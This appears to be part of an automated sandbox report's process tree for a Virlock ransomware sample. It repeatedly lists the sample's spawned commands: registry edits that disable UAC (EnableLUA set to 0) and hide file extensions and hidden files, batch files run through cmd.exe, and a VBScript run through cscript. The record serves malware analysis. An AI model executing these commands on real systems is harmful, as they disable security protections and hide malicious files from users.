                                                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                          126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3020
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FykAQccQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                          126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1400
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                            127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5880
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                      124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3096
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                        125⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4360
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                        124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5504
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                        124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2580
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\eYYsYYUA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                        124⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5696
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                          125⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2884
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                            125⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4500
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                      122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5788
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                      122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3600
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                      122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yMIgsUgc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                      122⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5868
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                        123⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1532
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                          123⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4940
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                    120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4308
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                      121⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:564
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                      120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5076
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5224
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\cmMQwkwA.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1456
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                            121⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5568
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                      118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2884
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                        119⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4492
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                        118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6112
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                        118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2824
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                          119⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1516
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\leUQswYI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                          118⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:2844
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                              119⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:1524
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                        116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:6032
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                        116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3564
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                        116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1280
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\PiYYwIUY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                        116⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5896
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                            117⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:3160
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                      114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5136
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                      114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:856
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                      114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5392
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hQYAIkYk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                      114⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3884
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                          115⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1500
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                            115⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4616
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2676
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2040
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2792
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HGMIgswY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4452
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                          113⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4424
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                    110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5140
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                    110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4596
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                      110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5456
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\YosQYgYY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                      110⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4560
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                        111⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4340
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                  108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1044
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                  108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1844
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                  108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yIwsYIAk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                  108⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5412
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                    109⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                      109⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4504
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5864
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:700
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                  106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                    107⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1600
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CIAokIwU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                    106⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4584
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                      107⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4304
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
